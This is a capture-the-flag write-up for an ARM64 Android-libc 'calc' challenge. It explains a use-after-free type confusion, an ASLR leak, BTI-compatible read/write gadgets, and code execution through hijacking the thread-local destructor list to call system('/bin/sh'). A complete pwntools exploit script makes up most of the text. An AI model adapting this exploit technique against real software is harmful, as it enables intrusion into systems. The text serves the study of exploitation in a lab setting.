The binary itself is fairly simple. It presents an interface to create a calculator and numbers array, and operate on the array with the calculator.
One of the interesting things about the challenge is that the system is using Android libraries, plus PAC and BTI are enabled (BTI will be relevant later). The other interesting part of the challenge is the format of the calculator vtable. Normally the vtable is just an array of function pointers, but here the format is more like a jump table:
The address of each function is calculated by taking the address of OPS
and adding the offset for that function.
#
uafThis is the calculator struct, which has a size of 0x18 bytes.
The numbers array is just uint32_t[6]
, also 0x18 bytes.
There is a single global instance of the calculator and single global instance of the numbers array. When deleting either the calculator or numbers array the pointer is not nulled out, allowing uaf access to the instance or type confusion by reallocating one structure as another. Creating a calculator, freeing it, then creating a numbers array allows full control over the contents of the calculator.
#
aslr leakThe first step is to get an aslr leak. In order to supply a fake vtable a binary leak is needed.
Whenever a calculator operation is performed, it starts by summing the contents of the numbers array and stores the result in the first index of the numbers array. While the numbers array is overlapped with the calculator this sum step would overwrite the lower 32 bits of calc->ops
with garbage, crashing the program. This is where the magic -0xaaa9
number comes in. The upper 32 bits of the binary base is always 0x0000aaaa
and -0xaaa9
is interpreted as two uint32_t entries in the numbers array, -1
and -0xaaa9
(since the -0xaaa9
gets signed extended to 64 bits). When the sum operation completes the lower 32 bits of calc->ops
remain undisturbed since everything cancels out. The important part is after the addition operation completes calc->n
will be set to the lower 32 bits of calc->ops
plus some constant value.
Now this value can be leaked by abusing the calculator modulus functionality, which sets calc->status
based on the highest bit of calc->n
.
uint64_t calc_mod(struct Calc* calc)
calc->status = 0
if (ARR == 0)
calc->status = 0xffffffff
else if (calc->n s<= 0)
calc->status = 1
else
struct Ops* ops = calc->ops
int64_t x8_7 = sx.q((ops + sx.q(ops->sum))())
uint64_t n = calc->n
calc->n = x8_7 s% n
return zx.q(calc->status)
#
gadgetsThis was the step that took the longest, mostly because we didn't realize that BTI was on until 8 hours into our manual gadget search (It was 6am and we were very tired). BTI actually makes the gadget search simpler because it restricts our options to a very small subset of the functions. Most of the functions are cpp exception handling code, but two of the functions stood out as interesting:
1 2 3
0003ca70 void sub_3ca70(void* arg1)
0003ca70 SystemHintOp_BTI()
0003ca88 **(arg1 + 8) = *(arg1 + 0x10)
1 2 3 4
__int64 __fastcall sub_3CA94(__int64 a1)
{
return **(unsigned int **)(a1 + 8);
}
These gadgets allow arbitrary read/write using the calculator/numbers array overlapping.
#
rceI mentioned before that the system is using Android libraries. The libc is no longer glibc, but whatever c standard library that Android ships. The first thing I looked for was free/malloc hooks. Looking at the decompilation of the libc, surprising there were free/malloc hooks present.
Only issue was that the arbitrary write gadget was only able to write 32 bits at a time which meant it wasn't possible to write a full pointer into the hook in one write. This make the hooks useless since the arbitrary write involved calling both malloc and free, so leaving the hook partially initialized would crash the exploit.
The other common rce method that I use for glibc is attacking exit functions. I went digging through the exit implementation and found this:
void exit(int32_t arg1) __noreturn
__cxa_thread_finalize()
__cxa_finalize(0)
_exit(arg1)
noreturn
void __cxa_thread_finalize()
void* x20 = *(_ReadMSR(SystemReg: tpidr_el0) + 8)
for (int64_t* i = *(x20 + 0xe8); i != 0; i = *(x20 + 0xe8))
*(x20 + 0xe8) = i[3]
(*i)(i[1])
if (__loader_remove_thread_local_dtor != 0)
__loader_remove_thread_local_dtor(i[2])
operator delete[](i)
TPIDR_EL0
is the register that holds the address of the TLS base. While directly reading this register is impossible with the available gadgets, the TLS address is also present in the linker and can be leaked using the arbitrary read gadget. Once the TLS address is known setting up a call to system("/bin/sh")
is trivial.
#
solve script123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210
from pwn import *
import builtins
mask = 0xffffffff
buffering = False
backup = b""
def buffer():
global buffering
buffering = True
def flush(after: bytes):
global buffering, backup
buffering = False
p.sendafter(after, backup)
backup = b""
def send(after: bytes, val, line=False):
global backup
match type(val):
case builtins.int | builtins.str:
val = f"{val}".encode()
case builtins.bytes:
pass
if line: val += b"\n"
if buffering:
backup += val
else:
p.sendafter(after, val)
def sendline(after: bytes, val):
send(after, val, line=True)
if args.REMOTE:
p = remote("calc.chal.hitconctf.com", "31337")
else:
p = remote("localhost", 31337)
context.terminal = ["kitty"]
script = """
codebase
set $arr=(long *)($codebase+0x4b3c8)
set $calc=(long *)($codebase+0x4b3d0)
c
"""
gdb.attach(("localhost", 1234), exe="./calc", gdbscript=script, sysroot="../../")
def narr(vals: list[int]):
sendline(b":", 1)
for i in range(6):
sendline(b":", vals[i])
def narrb(vals: list[int]):
payload = b"\n".join([f"{n}".encode() for n in vals])
p.sendlineafter(b":", b"1\n" + payload)
for _ in range(6):
p.recvuntil(b":")
def darr():
sendline(b":", 2)
def ncal(n: int):
sendline(b":", 3)
sendline(b":", n)
def dcal():
sendline(b":", 4)
def calc(op: int):
sendline(b":", 5)
sendline(b":", op)
if buffering:
return 0
else:
p.recvuntil(b"Status: ")
return int(p.recvline())
def dwords(ns: list[int]):
ret = []
for n in ns:
ret.append(n & mask)
ret.append((n >> 32) & mask)
return ret
buffer()
leaks = []
for i in range(32):
narr([0] * 6)
darr()
ncal(-0xaaa9 & mask)
calc(4)
for _ in range(2):
narr([1 << 16] + [0] * 5)
calc(5)
darr()
narr([1 << i] + [0] * 5)
calc(5)
leak = calc(2)
# print(leak)
# leaks.append(leak)
dcal()
darr()
flush(b":")
for i in range(32):
for _ in range(5):
p.recvuntil(b"Status: ", timeout=5)
leaks.append(int(p.recvline()))
leak = int("".join(map(str, leaks)), 2)
log.info(f"{leak = :#x}")
"""
leak = fixup - (upper + UNKNOWN + fixup + other)
leak = fixup - upper - UNKNOWN - fixup - other
UNKNOWN = fixup - upper - fixup - other - leak
"""
upper = 0xaaaa
fixup = -0xaaa9 & mask
other = 0xffffffff
leak = fixup - upper - fixup - leak - other & mask
filebase = (upper << 32) | (leak - 0x77c4)
log.info(f"{filebase = :#x}")
def arbread(addr: int):
buffer()
"""
0xa168 + 0xc -> 0x3ca94
"""
reader = filebase + 0xa168
ncal(0)
dcal()
narr(dwords([reader, addr, 0]))
lo = calc(2) & mask
darr()
ncal(0)
dcal()
narr(dwords([reader, addr + 4, 0]))
hi = calc(2) & mask
darr()
flush(b":")
p.recvuntil(b"Status: ")
lo = int(p.recvline()) & mask
p.recvuntil(b"Status: ")
hi = int(p.recvline()) & mask
for _ in range(1):
p.recvuntil(b":")
return lo | (hi << 32)
def arbwrite(addr: int, val: int):
buffer()
"""
0xa168 + 0x8 -> 0x3ca70
"""
writer = filebase + 0xa168
ncal(0)
dcal()
narr(dwords([writer, addr, val & mask]))
calc(1)
darr()
ncal(0)
dcal()
narr(dwords([writer, addr + 4, (val >> 32) & mask]))
calc(1)
darr()
flush(b":")
for _ in range(2):
p.recvuntil(b"Status: ")
for _ in range(1):
p.recvuntil(b":")
leak = arbread(filebase + 0x47238)
log.info(f"{leak = :#x}")
libcbase = leak - 0x83a94
log.info(f"{libcbase = :#x}")
libc = ELF("./libc.so", checksec=False)
libc.address = libcbase
leak = arbread(libcbase + 0xdacd0)
log.info(f"{leak = :#x}")
linkbase = leak - 0xd1640
log.info(f"{linkbase = :#x}")
leak = arbread(linkbase + 0x189020)
log.info(f"{leak = :#x}")
tls = leak - 0x50
log.info(f"{tls = :#x}")
thread = arbread(tls + 8)
log.info(f"{thread = :#x}")
target = filebase + 0x4b430
shell = libcbase + 0x1f12f
arbwrite(target, libc.sym.system)
arbwrite(target + 8, shell)
arbwrite(thread + 0xe8, target)
p.interactive()
# 0x0000000024ae9d93